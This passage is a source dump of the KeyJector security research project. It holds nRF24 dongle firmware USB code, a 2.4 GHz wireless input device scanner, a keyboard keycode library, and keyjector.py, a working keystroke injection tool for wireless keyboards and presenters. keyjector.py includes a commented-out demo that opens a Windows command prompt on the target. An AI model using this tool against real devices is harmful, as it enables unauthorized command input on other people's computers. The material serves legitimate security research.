Promixcuous mode address prefix 124 | __xdata static uint8_t pm_payload_length; // Promiscuous mode payload length -------------------------------------------------------------------------------- /src/usb.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2016 Bastille Networks 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include "usb.h" 24 | 25 | // xdata mapped USB request setup buffer 26 | __xdata struct usb_request_t * request = (__xdata void*)setupbuf; 27 | 28 | // Initialize the USB configuraiton 29 | bool init_usb() 30 | { 31 | uint16_t ms_elapsed = 0; 32 | configured = false; 33 | 34 | // Wakeup USB 35 | usbcon = 0x40; 36 | 37 | // Reset the USB bus 38 | usbcs |= 0x08; 39 | delay_us(50000); 40 | usbcs &= ~0x08; 41 | 42 | // Set the default configuration 43 | usb_reset_config(); 44 | 45 | // Wait for the USB controller to reach the configured state 46 | while(!configured); 47 | 48 | // Device configured successfully 49 | return true; 50 | } 51 | 52 | // Reset the USB configuration 53 | void usb_reset_config() 54 | { 55 | // Setup interrupts 56 | usbien = 0x11; // USB reset and setup data valid 57 | in_ien = 0x00; // Disable EP IN interrupts 58 | out_ien = 0x02; // Enable EP1 OUT interrupt 59 | ien1 = 0x10; // Enable USB interrupt 60 | in_irq = 0x1F; // Clear IN IRQ flags 61 | out_irq = 0x1F; // Clear OUT IRQ flags 62 | 63 | // Enable bulk EP1, disable ISO EPs 64 | inbulkval = 0x02; 65 | outbulkval = 0x02; 66 | inisoval = 0x00; 67 | outisoval = 0x00; 68 | 69 | // Setup EP buffers 70 | bout1addr = 32; 71 | bout2addr = 64; 72 | binstaddr = 16; 73 | bin1addr = 32; 74 | bin2addr = 64; 75 | out1bc = 0xFF; 76 | } 77 | 78 | // USB IRQ handler 79 | void usb_irq() __interrupt(12) __using(1) 80 | { 81 | // Which IRQ? 82 | // ref: nRF24LU1+ Product Spec, Section 7.8.3, Table 34 83 | switch (ivec) 84 | { 85 | // Setup data available 86 | case 0x00: 87 | handle_setup_request(); 88 | usbirq = 0x01; 89 | break; 90 | 91 | // Reset to initial state 92 | case 0x10: 93 | usb_reset_config(); 94 | usbirq = 0x10; 95 | break; 96 | 97 | // EP1 out (request from host) 98 | case 0x24: 99 | handle_radio_request(out1buf[0], &out1buf[1]); 100 | out_irq = 0x02; 101 | out1bc = 0xFF; 102 | break; 103 | } 104 | } 105 | 106 | // Convert a device string to unicode, and write it to EP0 107 | void write_device_string(const char * string) 108 | { 109 | int x; 110 | int length = strlen(string); 111 | memset(in0buf+2, 0, 64); 112 | in0buf[0] = 2+length*2; 113 | in0buf[1] = STRING_DESCRIPTOR; 114 | for(x = 0; x < length; x++) in0buf[2+x*2] = string[x]; 115 | in0bc = in0buf[0]; 116 | } 117 | 118 | // Write a descriptor (as specified in the current request) to EP0 119 | bool write_descriptor() 120 | { 121 | uint8_t desc_len = request->wLength; 122 | 123 | switch(request->wValue >> 8) 124 | { 125 | // Device descriptor request 126 | case DEVICE_DESCRIPTOR: 127 | if(desc_len > device_descriptor.bLength) desc_len = device_descriptor.bLength; 128 | memcpy(in0buf, &device_descriptor, desc_len); 129 | in0bc = desc_len; 130 | return true; 131 | 132 | // Configuration descriptor request 133 | case CONFIGURATION_DESCRIPTOR: 134 | if(desc_len > configuration_descriptor.wTotalLength) desc_len = configuration_descriptor.wTotalLength; 135 | memcpy(in0buf, &configuration_descriptor, desc_len); 136 | in0bc = desc_len; 137 | return true; 138 | 139 | // String descriptor request 140 | // - Language, Manufacturer, or Product 141 | case STRING_DESCRIPTOR: 142 | write_device_string(device_strings[setupbuf[2]]); 143 | return true; 144 | } 145 | 146 | // Not handled 147 | return false; 148 | } 149 | 150 | // Handle a USB setup request 151 | void handle_setup_request() 152 | { 153 | bool handled = false; 154 | switch(request->bRequest) 155 | { 156 | // Return a descriptor 157 | case GET_DESCRIPTOR: 158 | if(write_descriptor()) handled = true; 159 | break; 160 | 161 | // The host has assigned an address, but we don't have to do anything 162 | case SET_ADDRESS: 163 | handled = true; 164 | break; 165 | 166 | // Set the configuration state 167 | case SET_CONFIGURATION: 168 | if (request->wValue == 0) configured = false; // Not configured, drop back to powered state 169 | else configured = true; // Configured 170 | handled = true; 171 | break; 172 | 173 | // Get the configuration state 174 | case GET_CONFIGURATION: 175 | in0buf[0] = configured; 176 | in0bc = 1; 177 | handled = true; 178 | break; 179 | 180 | // Get endpoint or interface status 181 | case GET_STATUS: 182 | 183 | // Endpoint status 184 | if (request->bmRequestType == 0x82) 185 | { 186 | if ((setupbuf[4] & 0x80) == 0x80) in0buf[0] = in1cs; 187 | else in0buf[0] = out1cs; 188 | } 189 | 190 | // Device / Interface status, always two 0 bytes because 191 | // we're bus powered and don't support remote wakeup 192 | else 193 | { 194 | in0buf[0] = 0; 195 | in0buf[1] = 0; 196 | } 197 | 198 | in0bc = 2; 199 | handled = true; 200 | break; 201 | } 202 | 203 | // Stall if the request wasn't handled 204 | if(handled) ep0cs = 0x02; // hsnak 205 | else ep0cs = 0x01; // ep0stall 206 | } 207 | -------------------------------------------------------------------------------- /src/usb.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2016 Bastille Networks 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | 19 | #include "nRF24LU1P.h" 20 | #include "usb_desc.h" 21 | 22 | // Nordic nootloader entry point 23 | static void (*nordic_bootloader)() = (void (*)())0x7800; 24 | 25 | // Logitech nootloader entry point 26 | static void (*logitech_bootloader)() = (void (*)())0x7400; 27 | 28 | // USB configured state 29 | static bool configured; 30 | 31 | // Initialize the USB configuraiton 32 | bool init_usb(); 33 | 34 | // Handle a USB setup request 35 | void handle_setup_request(); 36 | 37 | // Reset the USB configuration 38 | void usb_reset_config(); 39 | 40 | // Handle a USB radio request 41 | void handle_radio_request(uint8_t request, uint8_t * data); 42 | 43 | // USB IRQ handler 44 | void usb_irq() __interrupt(12) __using(1); 45 | 46 | // USB request 47 | struct usb_request_t 48 | { 49 | uint8_t bmRequestType; 50 | uint8_t bRequest; 51 | uint16_t wValue; 52 | uint16_t wIndex; 53 | uint16_t wLength; 54 | }; 55 | 56 | // USB request types 57 | enum usb_request_type_t 58 | { 59 | GET_STATUS = 0, 60 | SET_ADDRESS = 5, 61 | GET_DESCRIPTOR = 6, 62 | GET_CONFIGURATION = 8, 63 | SET_CONFIGURATION = 9, 64 | }; 65 | 66 | //Vendor control messages and commands 67 | #define TRANSMIT_PAYLOAD 0x04 68 | #define ENTER_SNIFFER_MODE 0x05 69 | #define ENTER_PROMISCUOUS_MODE 0x06 70 | #define ENTER_TONE_TEST_MODE 0x07 71 | #define TRANSMIT_ACK_PAYLOAD 0x08 72 | #define SET_CHANNEL 0x09 73 | #define GET_CHANNEL 0x0A 74 | #define ENABLE_LNA 0x0B 75 | #define TRANSMIT_PAYLOAD_GENERIC 0x0C 76 | #define ENTER_PROMISCUOUS_MODE_GENERIC 0x0D 77 | #define RECEIVE_PACKET 0x12 78 | #define LAUNCH_LOGITECH_BOOTLOADER 0xFE 79 | #define LAUNCH_NORDIC_BOOTLOADER 0xFF 80 | 81 | -------------------------------------------------------------------------------- /src/usb_desc.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2016 Bastille Networks 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | 19 | #include "usb_desc.h" 20 | 21 | // Device descriptor 22 | __code const device_descriptor_t device_descriptor = 23 | { 24 | .bLength = 18, // Size of this struct 25 | .bDescriptorType = DEVICE_DESCRIPTOR, 26 | .bcdUSB = 0x0200, // USB 2.0 27 | .bDeviceClass = 0xFF, 28 | .bDeviceSubClass = 0xFF, 29 | .bDeviceProtocol = 0xFF, 30 | .bMaxPacketSize0 = 64, // EP0 max packet size 31 | .idVendor = 0x1915, // Nordic Semiconductor 32 | .idProduct = 0x0102, // Nordic bootloader product ID incremebted by 1 33 | .bcdDevice = 0x0001, // Device version number 34 | .iManufacturer = STRING_DESCRIPTOR_MANUFACTURER, 35 | .iProduct = STRING_DESCRIPTOR_PRODUCT, 36 | .iSerialNumber = 0, 37 | .bNumConfigurations = 1, // Configuration count 38 | }; 39 | 40 | // Configuration descriptor 41 | __code const configuration_descriptor_t configuration_descriptor = 42 | { 43 | .bLength = 9, // Size of the configuration descriptor 44 | .bDescriptorType = CONFIGURATION_DESCRIPTOR, 45 | .wTotalLength = 32, // Total size of the configuration descriptor and EP/interface descriptors 46 | .bNumInterfaces = 1, // Interface count 47 | .bConfigurationValue = 1, // Configuration identifer 48 | .iConfiguration = 0, 49 | .bmAttributes = 0x80, // Bus powered 50 | .bMaxPower = 100, // Max power of 100*2mA = 200mA 51 | .interface_descriptor = 52 | { 53 | .bLength = 9, // Size of the interface descriptor 54 | .bDescriptorType = INTERFACE_DESCRIPTOR, 55 | .bInterfaceNumber = 0, // Interface index 56 | .bAlternateSetting = 0, 57 | .bNumEndpoints = 2, // 2 endpoints, EP1IN, EP1OUT 58 | .bInterfaceClass = 0xFF, // Vendor interface class 59 | .bInterfaceSubClass = 0xFF, // Vendor interface subclass 60 | .bInterfaceProtocol = 0xFF, 61 | .iInterface = 0, 62 | }, 63 | .endpoint_1_in_descriptor = 64 | { 65 | .bLength = 7, // Size of the endpoint descriptor 66 | .bDescriptorType = ENDPOINT_DESCRIPTOR, 67 | .bEndpointAddress = 0x81, // EP1 IN 68 | .bmAttributes = 0x02, // Bulk EP 69 | .wMaxPacketSize = 64, // 64 byte packet buffer 70 | .bInterval = 0, 71 | }, 72 | .endpoint_1_out_descriptor = 73 | { 74 | .bLength = 7, // Size of the endpoint descriptor 75 | .bDescriptorType = ENDPOINT_DESCRIPTOR, 76 | .bEndpointAddress = 0x01, // EP1 OUT 77 | .bmAttributes = 0x02, // Bulk EP 78 | .wMaxPacketSize = 64, // 64 byte packet buffer 79 | .bInterval = 0, 80 | }, 81 | }; 82 | 83 | // String descriptor values 84 | __code char * device_strings[3] = 85 | { 86 | "\x04\x09", // Language (EN-US) 87 | "RFStorm", // Manufacturer 88 | "Research Firmware", // Product 89 | }; 90 | 91 | -------------------------------------------------------------------------------- /src/usb_desc.h: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2016 Bastille Networks 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | */ 17 | 18 | 19 | #include 20 | #include 21 | 22 | // Descriptor types 23 | enum descriptor_type_t 24 | { 25 | DEVICE_DESCRIPTOR = 1, 26 | CONFIGURATION_DESCRIPTOR, 27 | STRING_DESCRIPTOR, 28 | INTERFACE_DESCRIPTOR, 29 | ENDPOINT_DESCRIPTOR, 30 | }; 31 | 32 | // String descriptor indexes 33 | enum string_descriptor_indexes_t 34 | { 35 | STRING_DESCRIPTOR_LANGUAGE = 0, 36 | STRING_DESCRIPTOR_MANUFACTURER, 37 | STRING_DESCRIPTOR_PRODUCT, 38 | }; 39 | 40 | // Device descriptor 41 | typedef struct { 42 | uint8_t bLength; 43 | uint8_t bDescriptorType; 44 | uint16_t bcdUSB; 45 | uint8_t bDeviceClass; 46 | uint8_t bDeviceSubClass; 47 | uint8_t bDeviceProtocol; 48 | uint8_t bMaxPacketSize0; 49 | uint16_t idVendor; 50 | uint16_t idProduct; 51 | uint16_t bcdDevice; 52 | uint8_t iManufacturer; 53 | uint8_t iProduct; 54 | uint8_t iSerialNumber; 55 | uint8_t bNumConfigurations; 56 | } device_descriptor_t; 57 | 58 | // Interface descriptor 59 | typedef struct { 60 | uint8_t bLength; 61 | uint8_t bDescriptorType; 62 | uint8_t bInterfaceNumber; 63 | uint8_t bAlternateSetting; 64 | uint8_t bNumEndpoints; 65 | uint8_t bInterfaceClass; 66 | uint8_t bInterfaceSubClass; 67 | uint8_t bInterfaceProtocol; 68 | uint8_t iInterface; 69 | } interface_descriptor_t; 70 | 71 | // Endpoint descriptor 72 | typedef struct { 73 | uint8_t bLength; 74 | uint8_t bDescriptorType; 75 | uint8_t bEndpointAddress; 76 | uint8_t bmAttributes; 77 | uint16_t wMaxPacketSize; 78 | uint8_t bInterval; 79 | } endpoint_descriptor_t; 80 | 81 | // Configuration descriptor, EP1 IN and EP1 OUT 82 | typedef struct { 83 | uint8_t bLength; 84 | uint8_t bDescriptorType; 85 | uint16_t wTotalLength; 86 | uint8_t bNumInterfaces; 87 | uint8_t bConfigurationValue; 88 | uint8_t iConfiguration; 89 | uint8_t bmAttributes; 90 | uint8_t bMaxPower; 91 | interface_descriptor_t interface_descriptor; 92 | endpoint_descriptor_t endpoint_1_in_descriptor; 93 | endpoint_descriptor_t endpoint_1_out_descriptor; 94 | } configuration_descriptor_t; 95 | 96 | // Device descriptor 97 | extern __code const device_descriptor_t device_descriptor; 98 | 99 | // Configuration descriptor 100 | extern __code const configuration_descriptor_t configuration_descriptor; 101 | 102 | // Language, manufacturer, and product device strings 103 | extern __code char * device_strings[3]; 104 | 105 | -------------------------------------------------------------------------------- /tools/device-scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Wireless Input Device Scanner 6 | 7 | by Matthias Deeg (@matthiasdeeg, matthias.deeg@syss.de) 8 | 9 | based on preso-scanner.py by Marc Newlin (@macrnewlin) 10 | 11 | Scanner for supported 2.4 GHz wireless input devices 12 | 13 | Copyright (C) 2019 Marc Newlin 14 | Copyright (C) 2019 Matthias Deeg, SySS GmbH 15 | 16 | This program is free software: you can redistribute it and/or modify 17 | it under the terms of the GNU General Public License as published by 18 | the Free Software Foundation, either version 3 of the License, or 19 | (at your option) any later version. 20 | 21 | This program is distributed in the hope that it will be useful, 22 | but WITHOUT ANY WARRANTY; without even the implied warranty of 23 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 24 | GNU General Public License for more details. 25 | 26 | You should have received a copy of the GNU General Public License 27 | along with this program. If not, see . 28 | """ 29 | 30 | __version__ = '0.5' 31 | __author__ = 'Marc Newlin, Matthias Deeg' 32 | 33 | 34 | from lib import common 35 | from protocols import Protocols, HS304 36 | 37 | 38 | def banner(): 39 | """Show a fancy banner""" 40 | 41 | print("Wireless Input Device Scanner v{0} by Matthias Deeg - SySS GmbH (c) 2019\n" 42 | "Based on preso-scanner.py by Marc Newlin".format(__version__)) 43 | 44 | 45 | # main program 46 | if __name__ == '__main__': 47 | # show banner 48 | banner() 49 | 50 | # Parse command line arguments and initialize the radio 51 | common.init_args('./device-scanner.py') 52 | common.parser.add_argument('-p', '--prefix', type=str, help='Promiscuous mode address prefix', default='') 53 | common.parser.add_argument('-t', '--dwell', type=float, help='Dwell time per channel, in milliseconds', default='100') 54 | common.parser.add_argument('-d', '--data_rate', type=str, help='Data rate (accepts [250K, 1M, 2M])', default='2M', choices=["250K", "1M", "2M"], metavar='RATE') 55 | common.parser.add_argument('-f', '--family', required=True, type=Protocols, choices=list(Protocols), help='Protocol family') 56 | common.parse_and_init() 57 | 58 | # Initialize the target protocol 59 | if common.args.family is Protocols.HS304: 60 | p = HS304() 61 | else: 62 | raise Exception("Protocol does not support sniffer/scanner: {}" 63 | .format(common.args.family)) 64 | 65 | # Start device discovery 66 | p.start_discovery() 67 | while True: 68 | pass 69 | -------------------------------------------------------------------------------- /tools/keyjector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | KeyJector 6 | 7 | by Matthias Deeg (@matthiasdeeg, matthias.deeg@syss.de) 8 | 9 | based on tools by Marc Newlin (@marcnewlin) 10 | 11 | Keystroke injection tool for supported 2.4 GHz wireless input devices 12 | 13 | Copyright (C) 2019 Marc Newlin 14 | Copyright (C) 2019 Matthias Deeg, SySS GmbH 15 | 16 | This program is free software: you can redistribute it and/or modify 17 | it under the terms of the GNU General Public License as published by 18 | the Free Software Foundation, either version 3 of the License, or 19 | (at your option) any later version. 20 | 21 | This program is distributed in the hope that it will be useful, 22 | but WITHOUT ANY WARRANTY; without even the implied warranty of 23 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 24 | GNU General Public License for more details. 25 | 26 | You should have received a copy of the GNU General Public License 27 | along with this program. If not, see . 28 | """ 29 | 30 | __version__ = '0.1' 31 | __author__ = 'Matthias Deeg, Marc Newlin' 32 | 33 | 34 | from lib import common 35 | from protocols import * 36 | from binascii import hexlify, unhexlify 37 | 38 | 39 | def banner(): 40 | """Show a fancy banner""" 41 | 42 | print( 43 | """ _______ _______ _______ _______ _______ _______ _______ _______ _______\n""" 44 | """|\ /|\ /|\ /|\ /|\ /|\ /|\ /|\ /|\ /|\n""" 45 | """| +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n""" 46 | """| | | | | | | | | | | | | | | | | | | | | | | | | | | |\n""" 47 | """| |K | | |e | | |y | | |J | | |e | | |c | | |t | | |o | | |r | |\n""" 48 | """| +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ | +---+ |\n""" 49 | """|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|/_____\|\n""" 50 | """KeyJector v{0} by Matthias Deeg - SySS GmbH\n""" 51 | """Based on different tools by Marc Newlin""".format(__version__)) 52 | 53 | 54 | # main program 55 | if __name__ == '__main__': 56 | # show banner 57 | banner() 58 | 59 | # Parse command line arguments and initialize the radio 60 | common.init_args('./keyjector.py') 61 | common.parser.add_argument('-a', '--address', type=str, help='Target address') 62 | common.parser.add_argument('-f', '--family', required=True, type=Protocols, choices=list(Protocols), help='Protocol family') 63 | common.parse_and_init() 64 | 65 | # Parse the address 66 | address = '' 67 | if common.args.address is not None: 68 | address_string = common.args.address 69 | address = unhexlify(common.args.address.replace(':', ''))[::-1] 70 | 71 | # Initialize the target protocol 72 | if common.args.family == Protocols.HS304: 73 | p = HS304() 74 | elif common.args.family == Protocols.Canon: 75 | p = Canon() 76 | elif common.args.family == Protocols.TBBSC: 77 | if len(address) != 3: 78 | raise Exception('Invalid address: {0}'.format(common.args.address)) 79 | p = TBBSC(address) 80 | elif common.args.family == Protocols.RII: 81 | if len(address) != 5: 82 | raise Exception('Invalid address: {0}'.format(common.args.address)) 83 | p = RII(address) 84 | elif common.args.family == Protocols.AmazonBasics: 85 | if len(address) != 5: 86 | raise Exception('Invalid address: {0}'.format(common.args.address)) 87 | p = AmazonBasics(address) 88 | elif common.args.family == Protocols.Logitech: 89 | if len(address) != 5: 90 | raise Exception('Invalid address: {0}'.format(common.args.address)) 91 | p = Logitech(address) 92 | elif common.args.family == Protocols.LogitechEncrypted: 93 | if len(address) != 5: 94 | raise Exception('Invalid address: {0}'.format(common.args.address)) 95 | p = Logitech(address, encrypted=True) 96 | elif common.args.family == Protocols.Inateck_WP1001: 97 | if len(address) != 3: 98 | raise Exception('Invalid address: {0}'.format(common.args.address)) 99 | p = Inateck_WP1001(address) 100 | elif common.args.family == Protocols.Inateck_WP2002: 101 | if len(address) != 5: 102 | raise Exception('Invalid address: {0}'.format(common.args.address)) 103 | p = Inateck_WP2002(address) 104 | 105 | # Initialize the key injector instance with a specific keyboard layout 106 | kj = Injector(p, injector.KEYMAP_GERMAN) 107 | 108 | # perform demo keystroke injection attack 109 | kj.start_injection() 110 | for c in range(10): 111 | kj.send_key(injector.KEY_NONE) 112 | kj.send_string("All your base are belong to SySS!") 113 | kj.send_enter() 114 | kj.stop_injection() 115 | 116 | # # demo keystroke injector for Windows systems 117 | # kj.start_injection() 118 | # 119 | # for c in range(10): 120 | # kj.send_key(injector.KEY_NONE) 121 | # 122 | # # Windows + R 123 | # kj.send_key(injector.KEY_R, win=True) 124 | # 125 | # # busy sleep with packet transmissions 126 | # for c in range(10): 127 | # kj.send_key(injector.KEY_NONE) 128 | # kj.send_string("cmd") 129 | # 130 | # # busy sleep with packet transmissions 131 | # for c in range(10): 132 | # kj.send_key(injector.KEY_NONE) 133 | # 134 | # # send ENTER 135 | # kj.send_enter() 136 | # 137 | # # busy sleep with packet transmissions 138 | # for c in range(50): 139 | # kj.send_key(injector.KEY_NONE) 140 | # 141 | # kj.send_string("All your base are belong to CONFidence Hackers!") 142 | # kj.stop_injection() 143 | -------------------------------------------------------------------------------- /tools/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/keyjector/b528d018705cc819e08dcdbc4e952e597fe60cba/tools/lib/__init__.py -------------------------------------------------------------------------------- /tools/lib/common.py: -------------------------------------------------------------------------------- 1 | """ 2 | Copyright (C) 2016 Bastille Networks 3 | Copyright (C) 2019 Matthias Deeg, SySS GmbH 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | """ 18 | 19 | import argparse 20 | import logging 21 | from .nrf24 import * 22 | 23 | channels = [] # nRF24 radio channels 24 | args = None # command line arguments 25 | parser = None # command line argument parser 26 | radio = None # nRF24 radio 27 | 28 | 29 | def init_args(description): 30 | """Initialize the argument parser""" 31 | 32 | global parser 33 | parser = argparse.ArgumentParser(description, formatter_class=lambda prog: 34 | argparse.HelpFormatter(prog,max_help_position=50,width=120)) 35 | parser.add_argument('-c', '--channels', type=int, nargs='+', help='RF channels', default=range(2, 84), metavar='N') 36 | parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output', default=False) 37 | parser.add_argument('-l', '--lna', action='store_true', help='Enable the LNA (for CrazyRadio PA dongles)', default=False) 38 | parser.add_argument('-i', '--index', type=int, help='Dongle index', default=0) 39 | 40 | 41 | def parse_and_init(): 42 | """Parse and process common comand line arguments""" 43 | 44 | global parser 45 | global args 46 | global channels 47 | global radio 48 | 49 | # Parse the command line arguments 50 | args = parser.parse_args() 51 | 52 | # Setup logging 53 | level = logging.DEBUG if args.verbose else logging.INFO 54 | logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") 55 | 56 | # Set the channels 57 | channels = args.channels 58 | logging.debug('Using channels {0}'.format(', '.join(str(c) for c in channels))) 59 | 60 | # Initialize the radio 61 | radio = nrf24(args.index) 62 | if args.lna: 63 | radio.enable_lna() 64 | -------------------------------------------------------------------------------- /tools/lib/keyboard.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Keyboard library 6 | 7 | by Matthias Deeg and 8 | Gerhard Klostermeier 9 | 10 | Copyright (c) 2016 SySS GmbH 11 | 12 | This program is free software: you can redistribute it and/or modify 13 | it under the terms of the GNU General Public License as published by 14 | the Free Software Foundation, either version 3 of the License, or 15 | (at your option) any later version. 16 | 17 | This program is distributed in the hope that it will be useful, 18 | but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 20 | GNU General Public License for more details. 21 | 22 | You should have received a copy of the GNU General Public License 23 | along with this program. If not, see . 24 | """ 25 | 26 | from struct import pack 27 | 28 | # USB HID keyboard modifier 29 | MODIFIER_NONE = 0 30 | MODIFIER_CONTROL_LEFT = 1 << 0 31 | MODIFIER_SHIFT_LEFT = 1 << 1 32 | MODIFIER_ALT_LEFT = 1 << 2 33 | MODIFIER_GUI_LEFT = 1 << 3 34 | MODIFIER_CONTROL_RIGHT = 1 << 4 35 | MODIFIER_SHIFT_RIGHT = 1 << 5 36 | MODIFIER_ALT_RIGHT = 1 << 6 37 | MODIFIER_GUI_RIGHT = 1 << 7 38 | 39 | # USB HID key codes 40 | KEY_NONE = 0x00 41 | KEY_A = 0x04 42 | KEY_B = 0x05 43 | KEY_C = 0x06 44 | KEY_D = 0x07 45 | KEY_E = 0x08 46 | KEY_F = 0x09 47 | KEY_G = 0x0A 48 | KEY_H = 0x0B 49 | KEY_I = 0x0C 50 | KEY_J = 0x0D 51 | KEY_K = 0x0E 52 | KEY_L = 0x0F 53 | KEY_M = 0x10 54 | KEY_N = 0x11 55 | KEY_O = 0x12 56 | KEY_P = 0x13 57 | KEY_Q = 0x14 58 | KEY_R = 0x15 59 | KEY_S = 0x16 60 | KEY_T = 0x17 61 | KEY_U = 0x18 62 | KEY_V = 0x19 63 | KEY_W = 0x1A 64 | KEY_X = 0x1B 65 | KEY_Y = 0x1C 66 | KEY_Z = 0x1D 67 | KEY_1 = 0x1E 68 | KEY_2 = 0x1F 69 | KEY_3 = 0x20 70 | KEY_4 = 0x21 71 | KEY_5 = 0x22 72 | KEY_6 = 0x23 73 | KEY_7 = 0x24 74 | KEY_8 = 0x25 75 | KEY_9 = 0x26 76 | KEY_0 = 0x27 77 | KEY_RETURN = 0x28 78 | KEY_ESCAPE = 0x29 79 | KEY_BACKSPACE = 0x2A 80 | KEY_TAB = 0x2B 81 | KEY_SPACE = 0x2C 82 | KEY_MINUS = 0x2D 83 | KEY_EQUAL = 0x2E 84 | KEY_BRACKET_LEFT = 0x2F 85 | KEY_BRACKET_RIGHT = 0x30 86 | KEY_BACKSLASH = 0x31 87 | KEY_EUROPE_1 = 0x32 88 | KEY_SEMICOLON = 0x33 89 | KEY_APOSTROPHE = 0x34 90 | KEY_GRAVE = 0x35 91 | KEY_COMMA = 0x36 92 | KEY_PERIOD = 0x37 93 | KEY_SLASH = 0x38 94 | KEY_CAPS_LOCK = 0x39 95 | KEY_F1 = 0x3A 96 | KEY_F2 = 0x3B 97 | KEY_F3 = 0x3C 98 | KEY_F4 = 0x3D 99 | KEY_F5 = 0x3E 100 | KEY_F6 = 0x3F 101 | KEY_F7 = 0x40 102 | KEY_F8 = 0x41 103 | KEY_F9 = 0x42 104 | KEY_F10 = 0x43 105 | KEY_F11 = 0x44 106 | KEY_F12 = 0x45 107 | KEY_PRINT_SCREEN = 0x46 108 | KEY_SCROLL_LOCK = 0x47 109 | KEY_PAUSE = 0x48 110 | KEY_INSERT = 0x49 111 | KEY_HOME = 0x4A 112 | KEY_PAGE_UP = 0x4B 113 | KEY_DELETE = 0x4C 114 | KEY_END = 0x4D 115 | KEY_PAGE_DOWN = 0x4E 116 | KEY_ARROW_RIGHT = 0x4F 117 | KEY_ARROW_LEFT = 0x50 118 | KEY_ARROW_DOWN = 0x51 119 | KEY_ARROW_UP = 0x52 120 | KEY_NUM_LOCK = 0x53 121 | KEY_KEYPAD_DIVIDE = 0x54 122 | KEY_KEYPAD_MULTIPLY = 0x55 123 | KEY_KEYPAD_SUBTRACT = 0x56 124 | KEY_KEYPAD_ADD = 0x57 125 | KEY_KEYPAD_ENTER = 0x58 126 | KEY_KEYPAD_1 = 0x59 127 | KEY_KEYPAD_2 = 0x5A 128 | KEY_KEYPAD_3 = 0x5B 129 | KEY_KEYPAD_4 = 0x5C 130 | KEY_KEYPAD_5 = 0x5D 131 | KEY_KEYPAD_6 = 0x5E 132 | KEY_KEYPAD_7 = 0x5F 133 | KEY_KEYPAD_8 = 0x60 134 | KEY_KEYPAD_9 = 0x61 135 | KEY_KEYPAD_0 = 0x62 136 | KEY_KEYPAD_DECIMAL = 0x63 137 | KEY_EUROPE_2 = 0x64 138 | KEY_APPLICATION = 0x65 139 | KEY_POWER = 0x66 140 | KEY_KEYPAD_EQUAL = 0x67 141 | KEY_F13 = 0x68 142 | KEY_F14 = 0x69 143 | KEY_F15 = 0x6A 144 | KEY_CONTROL_LEFT = 0xE0 145 | KEY_SHIFT_LEFT = 0xE1 146 | KEY_ALT_LEFT = 0xE2 147 | KEY_GUI_LEFT = 0xE3 148 | KEY_CONTROL_RIGHT = 0xE4 149 | KEY_SHIFT_RIGHT = 0xE5 150 | KEY_ALT_RIGHT = 0xE6 151 | KEY_GUI_RIGHT = 0xE7 152 | 153 | 154 | # key mapping for printable characters of default German keyboard layout 155 | KEYMAP_GERMAN = { 156 | ' ' : 